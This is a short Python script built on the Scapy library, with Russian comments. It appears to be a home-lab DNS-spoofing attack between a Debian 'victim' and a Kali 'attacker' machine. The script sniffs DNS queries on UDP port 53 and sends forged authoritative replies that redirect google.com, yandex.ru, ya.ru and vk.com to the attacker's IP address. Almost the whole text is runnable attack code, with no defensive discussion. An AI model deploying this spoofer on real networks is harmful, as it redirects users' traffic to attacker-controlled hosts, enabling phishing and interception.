Загрузка данных


from scapy.all import *
import time

# IP-адреса (замени на свои)
victim_ip = "192.168.30.11"   # IP Debian (жертва) — уточни!
kali_ip = "192.168.30.12"     # IP Kali (атакующий)
gateway_ip = "192.168.30.1"   # Шлюз (не используется в DNS-spoofing, но оставлю)

# Список доменов для подмены
domains = {
    b"google.com.": kali_ip,
    b"yandex.ru.": kali_ip,
    b"ya.ru.": kali_ip,
    b"vk.com.": kali_ip,
}

def spoof_dns(pkt):
    if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:  # DNS-запрос
        qname = pkt[DNS].qd.qname
        if qname in domains:
            print(f"[+] Подмена {qname.decode()} -> {kali_ip}")
            # Формируем DNS-ответ
            ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
            udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)
            dns = DNS(
                id=pkt[DNS].id,
                qr=1,
                aa=1,
                qd=pkt[DNS].qd,
                an=DNSRR(rrname=qname, rdata=kali_ip, ttl=10)
            )
            send(ip/udp/dns, verbose=False)

print("[*] DNS-spoofing запущен. Нажми Ctrl+C для остановки.")
sniff(filter="udp port 53", prn=spoof_dns, store=0)